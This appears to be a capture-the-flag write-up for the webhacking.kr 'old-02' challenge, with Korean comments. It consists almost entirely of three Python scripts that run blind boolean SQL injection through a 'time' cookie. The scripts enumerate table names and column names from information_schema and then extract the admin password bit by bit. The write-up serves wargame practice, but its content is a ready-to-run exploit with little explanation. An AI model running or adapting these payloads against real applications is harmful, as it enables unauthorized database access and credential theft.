webhacking.kr old-02 writeup

import requests
 
url="https://webhacking.kr/challenge/web-02/"
flag=""
 
for i in range(1,18):
    binary=''
    for j in range(1,8):
        cookies = {'time':'if(1=(select+substr(lpad(bin(ascii(substr(group_concat(table_name),'+str(i)+',1))),7,0),'+str(j)+',1)+from+information_schema.tables+where+table_schema=database()),1,1587445410)'}
        response = requests.get(url,cookies=cookies)
 
        if('2070' in response.text):
            binary+='1'
        else:
            binary+='0'
        print(binary)
 
    b2i = int(binary, 2)  # 문자열을 2진수로 변경
    flag = flag + b2i.to_bytes((b2i.bit_length() + 7) // 8,
                               'big').decode()  # to_bytes 함수를 이용하여 1자리 수의 b2i를 byte 형태로 변경 후 유니코드로 변환
    print("[+] " + flag)
 
print("[+]Final Flag : " + flag)
 

결과 : admin_area_pw, log

2. 컬럼명 확인

import requests
 
url="https://webhacking.kr/challenge/web-02/"
flag=""
 
for i in range(1,3):
    binary=''
    for j in range(1,8):
        cookies = {'time':'if(1=(select+substr(lpad(bin(ascii(substr(group_concat(column_name),'+str(i)+',1))),7,0),'+str(j)+',1)+from+information_schema.columns+where+table_name="admin_area_pw"),1,1587445410)'}
        response = requests.get(url,cookies=cookies)
 
        if('2070' in response.text):
            binary+='1'
        else:
            binary+='0'
        print(binary)
 
    b2i = int(binary, 2)  # 문자열을 2진수로 변경
    flag = flag + b2i.to_bytes((b2i.bit_length() + 7) // 8,
                               'big').decode()  # to_bytes 함수를 이용하여 1자리 수의 b2i를 byte 형태로 변경 후 유니코드로 변환
    print("[+] " + flag)
 
print("[+]Final Flag : " + flag)
 

결과 : pw

3. pw 확인

import requests
 
url="https://webhacking.kr/challenge/web-02/"
flag=""
 
for i in range(1,18):
    binary=''
    for j in range(1,8):
        cookies = {'time':'if(1=(select+substr(lpad(bin(ascii(substr(pw,'+str(i)+',1))),7,0),'+str(j)+',1)+from+admin_area_pw),1,1587445410)'}
        response = requests.get(url,cookies=cookies)
 
        if('2070' in response.text):
            binary+='1'
        else:
            binary+='0'
        print(binary)
 
    b2i = int(binary, 2)  # 문자열을 2진수로 변경
    flag = flag + b2i.to_bytes((b2i.bit_length() + 7) // 8,
                               'big').decode()  # to_bytes 함수를 이용하여 1자리 수의 b2i를 byte 형태로 변경 후 유니코드로 변환
    print("[+] " + flag)
 
print("[+]Final Flag : " + flag)